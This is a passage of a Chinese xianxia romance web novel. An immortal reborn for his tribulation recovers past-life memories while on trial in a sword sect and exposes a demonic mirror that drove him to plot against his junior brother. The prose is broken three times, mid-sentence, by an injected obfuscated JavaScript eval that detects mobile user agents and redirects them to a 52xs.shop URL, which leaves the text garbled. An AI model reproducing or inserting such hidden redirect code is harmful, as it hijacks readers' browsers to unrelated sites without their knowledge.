对面的人眼里流露出错愕和担忧,眉头也微微蹙起,是很正常的反应。但他怎么看怎么觉得丛明雪的眼神……和当初他大姐意外得知他背着家里进行极限运动时一个样子。 本质上都是长辈对自家孩子要参加危险活动的担心,只不过他大姐对他的行为还表示出了愤怒,指责他不该瞒着他们,试图让他放弃再去进行那些运动。而丛明雪则是纯粹的担忧,因为他们都知道,劫数是躲不过去的。 姜洛玉沉默着移开视线。 修士修炼本是逆天而为,既是“逆天”,天道就会发下考验,那便是“劫数”。劫数往往和命数联系在一起,而命数又如云雾不可捉摸。 六界广为流传的一句话概括了修士劫数的同一性——“命无劫,不可求。” 无论是修魔还是修仙,又或者是其它,这一生的劫数是命定的,在修炼到一定境界后就会应劫,劫数渡过去自然平安无事,渡不过去的结局只能是身死道消。 六界之中,神、仙、妖、魔为上四界,人界、修真界为下二界,无论哪一界,修士劫数却未必在自己所处的地方。 就像他的劫数,好巧不巧应在下界,还和万相道脱不了关系。 “渡什么劫?” 姜洛玉又忍不住看过去,回答:“三道劫。” “三道”即为灵道、人道、仙道,分别对应着地、人、天三种劫数。这劫只应在上界修士身上,需在下界轮回三世,以开不了灵智的动植物、凡人的身份渡过前两世,最后一世投生为有灵根的修士成飞升成仙,这劫数才算渡完。 至于更详细的过程就不得而知了。 丛明雪:“什么时候?” 姜洛玉笑吟吟地继续落子:“过几天我就去转生池。” 转生池是上界之人去下界渡劫的唯一正规通道,顺天道而生,能辨别劫数。 “渡劫之事马虎不得,心无杂念方可下界。”丛明雪微微蹙起眉头,“烛山,你可准备好了?” 姜洛玉刚冒出一个“好”字,就被对面的人扣住了手腕,骨节分明的手指搭上他的腕子,温和不容拒绝的神力顺着经脉走遍全身。 暖暖的,让姜洛玉想起在姜家的第一个冬天,他发烧时姜母递过来的热汤。女人轻柔的安慰,还有属于母亲的馨香让他半睡半醒间流下几滴眼泪。 “别哭。” 微凉地触感落在脸上,姜洛玉睁开眼,左手条件反射地抓了一下,结果抓住了丛明雪没来得及收回的手。 他抓住的仅仅是丛明雪为他探查的右手,另一只手悬在半空,修长的指节上躺着一点水渍。 “神……君?”他抓着丛明雪的手又紧了紧,喉咙干涩,“你在做什么?” 丛明雪面露疑惑,放下手如实答道:“拭泪。” 姜洛玉当然知道是丛明雪在给他擦眼泪,可……这也离得太近了。 丛明雪半个身子都探了过来,半扎的银发差一点就要扫到他脸上,姜洛玉猛地松开手,向后拉开了两人的距离。 生姜辛辣刺鼻的味道扩散在正殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14628955|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,姜洛玉表情有些尴尬。五百年了,他一激动就散发本体气味儿的毛病还没改掉。 “心魔欲成,不可小觑,渡劫亦不可心急。”丛明雪坐了回去,掩在衣袖下的手指磨蹭几下,一片濡湿,“你这几天留在正殿,我为你破妄。” 姜洛玉垂下眼,乖顺道:“好。” 小插曲让他失去了下棋的兴致,于是留下半盘残局,趴在仙植编制的吊床上看丛明雪自弈。 殿内光线充足,再加上修士惊人的目力,他甚至能看清丛明雪眼里流转地细碎金光,然后……越看越喜欢。 刚开始到药辛殿的时候,姜洛玉跟着丛明雪修习了半个月仙术,知晓他的性子和传言没什么差别,甚至更加好说话,这才敢问他把自己带回来的原因。 只见浑身月华流转的神君掀起眼皮看了他一眼,吐出几个字:“资质奇佳,气运惊人。” 姜洛玉:“……没了吗?” 丛明雪顿了顿,才补充道:“天机不可泄露。” 姜洛玉:“……” 他不知道丛明雪在打什么哑谜,但他知道丛明雪所修之道为“天道”,或许真的知道什么也未尝不可。 姜洛玉绝对不会想到,根本没什么“天机”,丛明雪只是不想说太多话,“天机”是个很好的借口。 两人的关系亦师亦友,姜洛玉本来对丛明雪抱着敬慕的态度。但相处下来好巧不巧,丛明雪完美戳中他所有喜好,从清冷的气质再到俊美的面孔,从实际上温和的性子到对他的关心,都让姜洛玉对他的好感度直线飙升。 他对丛明雪的感情彻底转变,是穿越后第一百一十三年。 那一年他刚上仙五转,在药辛殿待得快发霉,于是打算出去历练一番,选定了春花境日及天一个地仙留下的小秘境。 不曾想地仙是假,玄仙残魂转修鬼道才是真,危急关头丛明雪从天而降收拾了残魂,把差点被炼化的姜洛玉带回去养伤。 这种天降救星的情节是老套了些,但银发神君的风姿再次刻进了姜洛玉内心深处。 他本就喜欢男人,更何况丛明雪从头到脚根本挑不出一点让他讨厌的地方,又经过秘境的波折,和养伤时的丛明雪对他的悉心照顾,姜洛玉彻底沦陷了。 但由于“药辛神君无情拒绝追求者”的事迹广为流传,姜洛玉决定徐徐图之。 奈何……纵使他使出浑身解数嘘寒问暖,还时不时用小动作撩拨,丛明雪都目光清明到让他害怕,眼里只有对他修炼问题的思考,实在没有风花雪月的情绪。 就像块冷酷的木头——不,应该说是冷漠的野葱。 姜洛玉的暗示持续了三白八十七年,现在依旧在继续。 好消息是丛明雪越来越习惯他的靠近了,坏消息是……丛明雪看自己的眼神越来越像操心的家长。 他本打算过一段时日尝试向丛明雪吐露心意,毕竟总不能真让丛明雪把自己当孩子看。 结果劫数横插一脚,这个计划只好无限延期。 十日后,姜洛玉挥别药辛殿一神一仙去了转生池。 转生池位于十二仙境中心的浮岛上,四角立有盘龙柱,龙嘴里面源源不断地吐出赤色池水。 刚到池边,守池的仙君递给姜洛玉一块玉牌:“登记,留下精血,渡完劫顺着这道气息回来即可。” 姜洛玉刺破指尖滴入精血,巴掌大地玉牌飞入转生池和池水融为一体,拱手道:“多谢仙君。” 守池仙君“嗯”了声消失在原地,只留下姜洛玉一人站在池边。 姜洛玉闭上眼,纵身跃入池中。 5. 穿越第五天 八月初七,又到了修真界第一大宗门——天正宗五年一度招收弟子的日子。 天正宗作为一个绝大部分由剑修构成的宗门,位于太极洲腹地,三面环山,面朝长河。 光是灵脉就占据了两条,还都还是极品,远远望去呈盘龙之势。在此等风水宝地,修士呼吸都要比在其它地方自在。 山门口,前来报名的少男少女扎堆在一起,负责维护秩序的内门弟子站在各自的位置,笔直如松。 田惜冬抱剑而立,警惕着一切意外发生。 他刚刚出关,为了补全内门弟子三年一次的贡献任务,这才报名来山门口当值。 几天下来不算清闲,也没那么忙碌,不是去处理突发的围殴事件,就是探查疑似魔修奸细的可疑人士。 测灵根、测骨龄、测体质……一连串测试下来日头偏西,眼看着今天的报名结束,田惜冬终于有了喘息的机会。 “田兄,你听说没?”一起维护秩序的向权伸了个懒腰,用手肘怼了怼田惜冬的胳膊,挤眉弄眼地,“大殿那儿三堂会审呢。” 田惜冬脸上满是不解:“审谁?” 向权撇撇嘴:“切,还能有谁。自然是我们的姜师叔那个……仙尊弟子了。” 修真界唯一能被称为仙尊的,只有天正宗的太上长老丛明雪。 药辛仙尊丛明雪,渡劫巅峰,无情道大能,剑道第一人,渡劫修士无敌手。 大乘巅峰时曾在一位渡劫初期修士、两位大乘后期修士追杀下成功反杀,剑斩千山,一战成名。 后于仙魔大战中一人一剑将魔尊及其部下打回老家,逆转了局势,这才被世人奉为“仙尊”。 而药辛仙尊这么多年过去,座下只有三位弟子。 大弟子齐怀仁,药辛仙尊在收徒大典上选中的,单土灵根。人如其名,宽怀仁厚,目前为化神后期修士。 二弟子姜洛玉,药辛仙尊在不知名秘境捡回来的,天灵根单木灵根。虽然资质奇佳,可惜天生经脉细弱,近些年才得以修炼,性子温和,目前金丹初期修为。 三弟子谢子宁,药辛仙尊关门弟子,也是从外面带回来的,据传是仙尊友人的遗腹子。本是凡人命格无缘大道,洗经伐髓后用天材地宝种了灵根才得以修炼,目前筑基初期。 田惜冬脑袋里划过一张漂亮,又因为病气显得柔弱的脸,意外道:“姜师叔犯什么错了?” 向权转了转眼珠,恍然大悟:“怪我,忘记田兄刚刚出关,怕是没听说此事,让我来为田兄讲解一二。” “田兄可记得琼山秘境?”向权问道。 田惜冬点头:“自然。宗门外西南部的一个小秘境,专门供筑基弟子历练的地方。” 他当初也去过,里面的妖兽灵兽修为最高不过筑基巅峰。就是天正宗没有垄断琼山秘境,每次放弟子进去的时候还会捎带上周边宗门的弟子,也算是照顾那些无力支撑开启秘境的小宗门。 向权:“琼山秘境此次历练,里面居然混入了金丹期妖兽!可这妖兽却无视了其他修士,单单朝着药辛仙尊的小徒弟谢子宁去了。” 田惜冬:“如此应是邪道作祟,妄图报复药辛仙尊,和姜道友有什么关系?” “田兄你错了。”向权没给田惜冬反应时间,继续说,“那妖兽就是姜洛玉放进去的,为的就是杀死自己的小师弟!” “因为谢子宁,发现了他倾慕药辛仙尊的秘密。” 天正宗大殿,执事长老对着掌门、副掌门、药辛仙尊点头示意,接着转身拿出卷宗。 他扫了眼下方跪着的青年,不紧不慢道:“残害同门,贿赂宗门长老,勾结外人扰乱考场秩序。” “姜洛玉,你可认罪?” 认……罪? 姜洛玉一头雾水地睁开眼,后背剧痛让他差点喊出声。 他看见自己被锁链绑在一起的胳膊,暗道不妙,立马抬头环视四周。 这是个基调为白金色的大殿,细节处巧夺天工,玉柱间更是垂着如同月华的鲛绡。而他跪在大殿中央,身边连个鬼影都没有。 执事长老见姜洛玉没有作答,反而看来看去,厉声道:“你可认罪?” 姜洛玉脱口而出:“我没——” 他把最后一个“罪”字咽回肚子,感受到体内的金丹修为,脸色瞬间煞白。 开玩笑吧,他这怎么……第三世就恢复记忆了? 跳下转生池前的记忆历历在目,就连跳下去之后溶解的感觉也纤毫毕现。 他恢复仙界的记忆应该是在第三世飞升之后,而不是现在这种状况——金丹修为,跪在大殿,上面有个白胡子老头怒目圆睁地让他认罪。 最关键的是,他还没有前两世和这一世的记忆。 他更不知道这人说的罪名是确有此事还是被人陷害,认什么罪? 姜洛玉直接越过执事长老朝着尊位看去,这一眼就看见了正中央坐着的男人。 银发青眸,凤眼深邃,气质清冷,五官俊美……怎么看怎么像丛明雪。 不对,姜洛玉瞳孔地震,捂住刺痛的头,这人就是丛明雪! 说时迟那时快,执事长老见姜洛玉还是不应,最后一条罪名落了下来:“冥顽不灵,目无师长,妄图破坏药辛仙尊无情之道,你可认罪!” 姜洛玉脑中“轰隆”一声巨响,随着执事长老话音落下,他多出了许多匪夷所思的记忆。 那些记忆里,他有时是荒野山间的杂草,有时是农家院落的土鸡,有时是富贵人家的奇花,有时是看门的黄狗,有时甚至是潮湿土壤里的虫鼠…… 更多的时候他是人,是褐发绿眼的凡人,是黑发黑眼的修士。 他是草的时候,身边长着一朵花,最后他们一起被孩童折断扔在地面,腐烂分解,回归了地底。 他是鸡的时候,身后总跟着一只鸭,落雪前主人把他们拉到镇上卖了个好价钱,他们死在了屠刀下。 他是奇花的时候,同盆里有一株并蒂花,等到富人寻到了新的奇异花草,他们就被转卖出去,几经波折最终枯死在路上。 他是黄狗的时候,主人是个半聋的老先生,因为瘸腿经常被村里其它狗欺负。后来老先生养了一只狼狗,他把狼狗带大,领着狼狗出门,村里就再没有狗欺负他了。 后来大旱降临,村子开始闹饥荒,老先生宁可饿死也不愿意像其它人一样杀狗烹食,带着他们逃难,最后他们谁都没能熬过那个炎夏。 …… 姜洛玉意识到,这是他在下界渡劫时的记忆。 那些人形之外的记忆归属于第一世的“灵道”劫,或许是因为他万相道的特殊性,他三道劫中的第一道劫数不是一世,而是几百个非人物种的一生。 无数次死亡,无数次新生,千变万化,万相归一。 可为何……每一次轮回,他身边都会有另一个生灵陪他从生到死? 姜洛玉默念清心咒定了定心神,继续整理纷杂的记忆。 那么第二世,就是那褐发绿眼的凡人了。 关键词被触动,姜洛玉用极快地速度串联起第二世“人道”的经历。 第二世的“人道”劫应在人界,很正常只有一世。 他是姜国最不受宠的小皇子,异域的舞姬生下的孩子。 舞姬生下他不过一年就因思念家乡郁郁而终,而皇帝似乎忘了他这个儿子,他便在深宫里磕磕绊绊长大。 八岁那年,他钻狗洞出去,遇到了姜国的国师——国师名为药辛,长了张和丛明雪一模一样的脸。 国师问他为何钻狗洞,他实话实说,说他想出去玩儿。国师把他抱了回去,后来他再也没见过国师,但在宫里的日子却越来越好过。 十二岁那年,姜国需要皇子去陈国当质子,皇帝终于想起还有他这么个儿子。 等他当了质子,日子过得更加艰难,在陈国苟延残喘也不得安宁。他染了疫病躺在破屋里,本以为必死无疑,结果又看见了国师。 国师治好他的病,又助他假死脱身,将他带回姜国,教导他帝王之术。 他问国师救他的原因,国师说,他是姜国命定的皇帝,姜国会在他手上走向鼎盛。 二十岁那年,老皇帝病重,可膝下皇子斗来斗去竟全都废了,所以需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14628956|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在宗亲里选出继位之人。 混有异族血脉的皇族无法登基,于是他用秘药换了一副乌黑的眼珠,又将褐发染黑,成了老皇帝流落民间的侄子,几番波折最终被国师推上皇位。 十年匆匆而过,如国师预言的一样,他似乎是天生的皇帝。 姜国在他手里愈发强盛,将士骁勇善战,百姓安居乐业。 后宫无人,他就从宗室里过继了几个孩子放在身边教养,堵住大臣的嘴。但他与国师之间的猜忌和隔阂却越来越深了。 他恐惧国师知道他的底细,忧虑自己日渐衰老的身体,担心有朝一日国师再度扶持出一个“自己”,惶惶不可终日。 可国师对姜国的贡献、在民间的威望,还有他心里暧昧不可言说的心思,都让他无法下手除掉国师。 他选择将国师软禁在皇宫里,这样就没人能知道他的秘密。 姜国暂无外患却有内忧,世家日益增长的野心让他忌惮,但他做出的功绩离不开世家的帮扶,想要收权只能徐徐图之。 一年又一年过去,随着年龄增长,他的精神愈发恍惚,经常看见战场的孤魂野鬼,太医说他病了,得的是癔症。 癔症不就是疯病吗? 他想起自己母亲当初就是得了疯病被皇帝秘密处死的,而非郁郁而终。于是罢免太医的职位,让他告老还乡,随即开始大刀阔斧地整顿世家。 那段日子血流成河,他睡不着,便整夜整夜地坐在国师寝殿外单方面和他说话。 细细算来,他已经有五年没敢见国师了。 世家衰微,太子新立,姜国仍旧强盛,但他的疯病越来越重了,耳边尽是亡魂的低语。 直到一日,他从梦中惊醒,发现大殿一片狼藉,地上跪着一群瑟瑟发抖的内侍宫女。 他的匕首刺破了内侍脖颈的皮肉,虽然只是微微陷入,血还是流了下来,蜿蜒像是索命的厉鬼。 内侍失禁的尿液染湿了他的鞋底。 他扔下匕首,轰走了所有人,在金銮殿从黄昏坐到深夜,直到国师推开殿门。 五年不见,国师依旧是那个不食人间烟火的国师,和他第一次见他时没有半分区别。 反观他,才三十五岁,就两鬓斑白,眼角生出细纹,就连目力都消失大半。 国师对他说:“陛下,您该歇息了。” 他擦干匕首上面的血,深深看了一眼国师。 他疯了,已经疯到控制不了自己的行为。他知道自己再这么下去,也许会成为一个喜怒无常的暴君,但他不想看见姜国毁在自己手上。 或许他该退位,可即便退位了,他还是个疯子。 “国师,朕疯了。”他指了指自己的脑袋,“你有办法让朕恢复正常吗?” 国师摇头:“臣不是神仙,只是个会些小法术的道士罢了。” “臣是来道别的。” 他聆听着国师的辞别之言。 国师说,他入世是为辅佐三代贤皇在位直到寿终正寝,只有这样,他才能得道成仙。 如今自己命数突变,他的道也破了,打算找个依山傍水的地方等死。走之前过来劝他禅位,不要误了姜国的大好盛世。 他听完只觉得荒唐,怔愣间对上国师淡漠的眼神,说道:“国师,你带我一起走吧。” 国师恭敬地朝着他行了个君臣礼:“臣倍感荣幸。” 禅位后,他们离开了姜国,开始在各个国家之间辗转。 他时而清醒,时而疯癫。 又是五年过去,无论期间国师如何为他调理,他仍旧迅速干瘪下去,发如枯草,面如风干的橘皮。 他知道自己寿数将近,于是求着国师带自己回到了姜国。 临死前,他看着国师那张依旧没有变化的脸:“药辛……你当初为何要答应带我一起走?” 国师回答:“得偿所愿。” 他在国师的回答里想起少时夜不能寐的倾慕,又想起国师知晓他心意时拒绝他的残忍。 那时的国师对他说:“殿下,臣无此心,您也不该如此。” 那如今……又是偿了谁的愿? 6. 穿越第六天 这都什么乱起八糟的东西? 姜洛玉捂着脑袋蜷缩在地面,神魂被巨大的信息量冲击得几乎要裂开。 他咬紧牙关撑着地面坐起,声音暗哑:“掌门……弟子请求,先将这缚灵锁撤下去。” “弟子有些事要确认。” 虽话中内容是对着掌门的,但他的眼睛却死死盯着正中央的银发仙尊。 刚才那老头说什么来着,“师长”? “这……”尘极道君欲言又止,见身侧的丛明雪没有发表任何意见,挥了挥手,“你确认吧。” 反正药辛仙尊在这儿,也翻不出什么水花。 缚灵锁如游蛇般灵活滑下,顺着冰凉地石砖爬回执法长老怀里。 姜洛玉跪着缓了半天,等神魂没那么疼了,从脑中搜罗出想要的法术,也不管在下界能不能用,调动灵力双手飞速结印。 临走前,丛明雪担心他渡劫失败在下界魂飞魄散,所以撕了一小片神魂放在他身体里,确保他能被丛明雪感应到具体位置,渡劫失败后再捞上仙界聚魂重塑肉身。 他是没办法确认上面这个到底是不是丛明雪,但他体内的神魂能。 顺利找到藏在神魂里一动不动的外来魂魄,姜洛玉神色一喜,咬破指尖逼出精血,将最后的法决念完:“……引!” 红色血珠朝着上面的男人飞去,最后停在了男人面前一寸远的地方。 本来置身事外的仙尊掀起眼皮,眸光微动:“烛山,你这是在做什么?” 姜洛玉神色奇异,捂着胸口咳了咳:“……再给我一些时间。” 血珠里的神魂气息结合上法术能溯主,飞向上位之人,就代表这人的确是丛明雪。 那么事情就很明朗了,国师也是丛明雪,乃至于灵道劫里每一个轮回都跟在他身边的,也都有可能是丛明雪。 可贸然插手他人劫数,后果不可预料,无论出发点如何。 但丛明雪没理由害他,那他下来做什么?姜洛玉想不明白,他不知道自己恢复记忆是不是那个“不可预料”。 他需要弄清楚的问题太多了,搞不清自己的现在究竟是什么情况,贸然展现出异常怕是要被怀疑被人夺舍。 当务之急还是要先理清这一世的记忆。 零散的记忆被再度拾起,越拼凑,姜洛玉的脸色越奇怪。 这一世,他是被丛明雪在秘境捡回来的“野孩子”。 至于亲生父母是何人,他没有印象,只知道打有意识起就生活在秘境,靠着秘境内成了精的妖兽拉扯才勉强活下去。 那年他五岁,到了天正宗连话都不会说,只会呜呜乱叫。 丛明雪替他开了智,举行了简单的拜师仪式,但是因为不会养孩子,又要出宗门办事,就把他扔给了大徒弟,也就是他的大师兄齐怀仁照看。 奈何他对丛明雪似乎生出了雏鸟情结,其它人一碰就像竖起尖刺的刺猬无差别攻击。 齐怀仁无法,只好一点点试探着和他相处。 两人相安无事了一段时日,等齐怀仁对他失去戒备,他便趁着齐怀仁晚上修炼,穿着单薄的寝衣,光脚顺着弟子居所在的山腰向上走,想去山顶找丛明雪。 没等走到山顶,他就被丛明雪发现了踪迹,见到丛明雪抱住他的腿就开始哭。 哭得鼻涕眼泪流了满脸,也蹭了丛明雪满身。最终银发青眼的仙尊无奈叹息,只好将他带在身边。 后来丛明雪引他入道,发现他天生经脉细弱,需要用天材地宝拓宽经脉。又花费了十年时间调理身体,直到十五岁那年才得以修炼。 姜洛玉倒吸一口凉气,这走向也太……经典了。 他好像看到了什么狗血小说,虽然第二世也很狗血。 果不其然,在和丛明雪朝夕相对中,到了情窦初开的年纪,他就对自己这个超凡脱俗似九天玄仙的师尊,产生了不可言说的心思。 至于为什么是不可言说,自然是因为丛明雪修得是无情道,就算他向丛明雪袒露心意,得到的也只能是对方的漠视。 因为他在丛明雪眼里和石头、草木、鸡鸭牲畜没有任何分别,对待世间万物一视同仁,看似有情,却是真正的无情。 但他自认为是丛明雪亲手带大的,在他心里肯定与旁人不同。 他总觉得丛明雪和自己说话的时候要比常人温柔,于是一边压抑着心里日益增长的情愫,一边抱着“我对师尊而言是特殊的存在”的想法,赶走一切试图靠近丛明雪的生命。 甚至包括一只羽翼受损、被丛明雪救了的银雀。 银雀伤好之后,便时常飞到山顶凑到丛明雪身边,他看不惯一个灵智未开的牲畜能被丛明雪捧在手心,于是对那雀鸟施了法术,让它小小的脑仁再也记不得是谁救了它,也就不再出现在山顶。 直到他一百一十三岁那年,丛明雪带回来一个少年。 彼时恰逢收徒大典,掌门照例询问丛明雪今年有没有收徒意愿。丛明雪当着全宗门的面,宣布这少年就是自己新收的关门弟子。 那时他尚且还能安慰自己,不过是又多了一个徒弟,其它长老灵君门下弟子哪个不是十个开外? 三个亲传弟子而已,丛明雪依旧是他的师尊,这件事谁也无法改变。 他的小师弟名为谢子宁,是丛明雪友人的遗腹子,没有灵根又体弱多病,天生的凡人命格。 凡人命格在丛明雪面前自然不是问题,洗经伐髓再种个灵根只不过是时间问题。 他看着丛明雪将谢子宁安排在他幼时住过的洞府,又对他悉心照料,嫉妒如野草般疯长。 嫉妒归嫉妒,他依旧是个合格的二师兄,因为他知道丛明雪对谢子宁只是尽到了一个师父应尽的责任。 直到谢子宁在一个秘境里得了件神器——巴掌大的铜镜,没什么别的作用,只是能让人说出心底最深处的秘密,里面残存的神力,只能让一个人说出心里话。 好巧不巧,他在谢子宁触发神器的时候路过,成为了说出秘密的倒霉蛋。 他威胁谢子宁绝对不能将此事说出,回去之后和入魔了一般,满脑子都是丛明雪知道自己倾慕他之后,说要将他逐出师门的模样。 就算谢子宁发下天道誓言,他也还是觉得自己的秘密有一天会暴露在天光之下,那些潮湿粘腻、不可言说的感情,会像被迫暴露在阳光下的苔藓一样枯萎,最后消失不见。 神经兮兮过了几个月,得知了谢子宁要进秘境考核的消息,他欣喜若狂。买通了考核长老,将金丹期的妖兽从秘境缺口处放了进去。 等谢子宁进秘境前,在他身上放了吸引那妖兽的香粉。 为了确保万无一失,他打着二师兄的名义给谢子宁送去的吃食里下了慢性毒药,让他在秘境考核时用不出灵力,最后替换了谢子宁身上丛明雪给他用来保命的三道剑气。 多方操作之下,谢子宁堪称必死无疑。结果秘境里混入了元婴修士,救下了即将命丧妖兽之口的谢子宁。 当然,秘境也因为那修士暴露了实力被撑爆,所有考核的弟子都被弹了出来。 察觉到谢子宁本名牌异动的丛明雪赶来,看见的就是这么一副满地被震晕的弟子,还有他受伤最重的小徒弟。 考核长老一见到丛明雪,跪下去把什么都交代了,说是姜洛玉找他想给谢子宁一个教训,他才答应下来的,不知道姜洛玉是想要谢子宁的命。 最离谱的是那元婴修士是谢子宁的爱慕者,又好巧不巧那天过来找谢子宁的时候,偷听到了他们的谈话,立即义愤填膺向丛明雪诉说他的恶毒。 等到真相被“查明”,他就被抓了,赶在天正宗再度收徒的时候三堂会审。 最关键的是,他们从他的住处搜罗出毒药、香粉、原版剑气之外,还找出了一种上古禁术,集齐材料可以强行破坏他人所修之道。 那刻着上古禁术的卷轴上,密密麻麻地写满了丛明雪的名字。 “如何,证据确凿,你还有什么想说的?”丛明雪时隔多年,再一次仔细打量着自己的二徒弟。 跪坐在地面的青年身着白色云纹亲传弟子服,上面的云纹闪着熠熠金光,但青年的眸子里的神采却比那云纹更加夺目。 眉眼锐利明艳,又因为几分病色显得有些脆弱。 奇异的矛盾感在青年身上完美展现,丛明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14628957|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪有些恍惚,当初没有他腿高的瘦弱的孩子,早就长大了。 姜洛玉的黑眸越来越亮,一字一顿地反问道:“师尊,证据真的……都找到了吗?” 丛明雪:“自然。” “那我请求和谢子宁当堂对质。”姜洛玉习惯性咬了咬下唇的痣,“记得让他带上镜子。” 丛明雪神色不变,给在弟子居养伤的谢子宁发了道传音。 尘极道君见状,和身侧的副掌门咬耳朵:“师妹,你说姜师叔在搞什么?” 慈安真君理了理自己有些散乱的发丝,淡淡道:“不知道,或许真有什么隐情也未可知。” “其实我也觉得有隐情,但证据确凿。”尘极道君感慨着,“姜师叔也算是我看着长大的,小时候脾气是有些……咳咳,本性却不坏。” “况且就算仙尊知道自己的徒弟爱慕自己,也不会做什么逐出师门的举动。最多就是口头教育一下。姜师叔干嘛非要杀了谢师叔?” 慈安真君:“师兄噤声,谢师叔来了。” 只见大殿门口出现了一个眉目清秀的少年,身量不高,好在比例协调,快步走进来,站稳后看了眼姜洛玉才行礼道:“见过师尊、掌门、副掌门。” 丛明雪微微颔首。 “起来吧,不必多礼。”尘极道君正色道,“姜……师叔,你开始吧。” 姜洛玉瞥见谢子宁腰间别着的雕花铜镜,露出个笑:“师弟,你把这镜子递给我。” 谢子宁一愣,随即将腰间的镜子递了过去,不知道姜洛玉要拿这成了废铁的东西有什么用。 众人的目光全都粘在了姜洛玉手上。 “师弟,你离我远些。”姜洛玉提醒道,“去师尊旁边站着吧。” 谢子宁一头雾水地站到丛明雪身边。 姜洛玉缓缓起身,摩挲着铜镜身上斑驳的痕迹,向上面的人展示了一下:“那些事都是我做的,但又不是我做的。” 下一秒,他将铜镜剖向半空,左手掐诀,右手从眉心扯出一条尖啸的黑色长线。 那黑色长线足有筷子粗细,周身散发着荧荧微光,仔细一瞧却能发现外表黑里掺杂着红,被抽出来之后在姜洛玉手里扭曲得跟麻花一样。 黑线被扯出来之后尖叫着直奔铜镜而去,台上几人全都动手想要拦住黑线,可没人能直接接触到那诡东西,就连丛明雪也是一脸愕然。 姜洛玉越扯越快,黑线越叫越欢。 极其痛苦的非人嚎叫回荡在大殿,姜洛玉耳朵一热,温热的东西就顺着耳洞流出,一把掐住没扯完的黑线给了它一巴掌,威胁道:“再叫还扇,一个废品魔器我有的是方法收拾你。” 黑线似乎是被扇懵了,叫声戛然而止。 十几秒后,姜洛玉顺利把黑线扯了出去,整个人的脸色也成功白得和鬼修没什么分别,眼鼻口渗出鲜血,似乎下一秒就要咽气。 铜镜飞回手中,他指着黑得看不出原貌的铜镜,咳了咳:“都是此物作祟。” “我是被冤枉的。” 比六月飞雪还冤。 轮回渡劫,但神魂不变,他在仙界是什么样的人,到了下界也会是什么样的人,最多因为生长环境不同有些许差别。 他嫉妒可以理解,但不至于因为嫉妒心和恐惧就要杀死谢子宁,恐惧的根源更是站不住脚。 但按照记忆来看,这些都是他“发自内心”去做的,所以到底是哪里出了问题? 他把那些想要暗害谢子宁的记忆翻了个遍,才从中找到不对劲儿的地方。 他是在被“神器”揭穿秘密之后夜不能寐,想了几天开始重新拾起对谢子宁的嫉妒心,越来越偏执,直到试图动手铲除谢子宁。 那他如此反常,又是否和这“神器”有关? 这么一想,姜洛玉便想到了识海,靠着在仙界的记忆,成功找到了里面的异常之处。 有外来的东西藏在他识海里,暗中操控着他的思想和行为,但那东西奸诈狡猾,需要准备东西才能让它露出马脚。 比如那天的铜镜。 扯着还没人发声,姜洛玉压制住铜镜,补充道:“这东西是魔器。” 7. 穿越第七天 何为魔器? 只有上四界之中魔界的魔族造出来的法器,才能被称为魔器。下界魔修造出来的东西根本不够格。 魔器也分三六九等,从下品到极品,他手里这个却是罕见的废品,属于炼器师练出来,连看都不想看的东西。 姜洛玉不禁唏嘘,这东西不但是个废品连功能都这么鸡肋,也就能在下界刷刷威风了。 谢子宁站在旁边目瞪口呆,脸都白了:“这……这不是神器吗?” “谁告诉你的?” 冷冰冰的声音一冒出来,谢子宁“扑通”一声跪在地上:“师尊,这是、这是……” 尘极道君:“别急,慢慢说。” 大殿一时寂静无声,铜镜在姜洛玉手上扭动几下,再度开始发出尖啸。 姜洛玉握着铜镜的手紧了紧,察觉到体内灵力将尽,翻了翻身上的储物戒,掏出把极品灵石掐在手里,吸收其中灵力加大法术力度。 见铜镜被法术禁锢得如同死鱼,姜洛玉笑着继续威胁:“别乱动,我知道你想死,但是现在不是时候。” 铜镜:“……” 慈安真君扶着脑袋若有所思,露出恍然大悟的神情:“谢师叔被不要脸的骗了。” 谢子宁有苦说不出,他在秘境拿到这铜镜的时候,秘境之主告诉他,这东西是他之前得到的神器,因为作用太过鸡肋,只是当个珍藏品,告诉自己认主之后不要张扬,免得被人惦记上。 明明刚拿到手还好好的,这下怎么突然变得这么邪性了? 还有,二师兄说这东西是什么……魔器,魔器又是什么? 丛明雪冷着脸,瞬间移动到姜洛玉面前,语气冰冷:“你又是谁?若它真的是魔器,你又为何能有控制它的方法?” “你真的是烛山吗?” 姜洛玉掐着铜镜,感觉自己要被这毫无起伏的声音冻死了。 他将丛明雪的脸看了又看,熟练地挂上一副无辜的表情:“师尊,你这是怀疑弟子被夺舍了?” 丛明雪抿着唇一言不发,神情严肃。 非是他不想用法术探查姜洛玉神魂是否有异,若是不经本人同意,外人强行探查,只会两败俱伤。 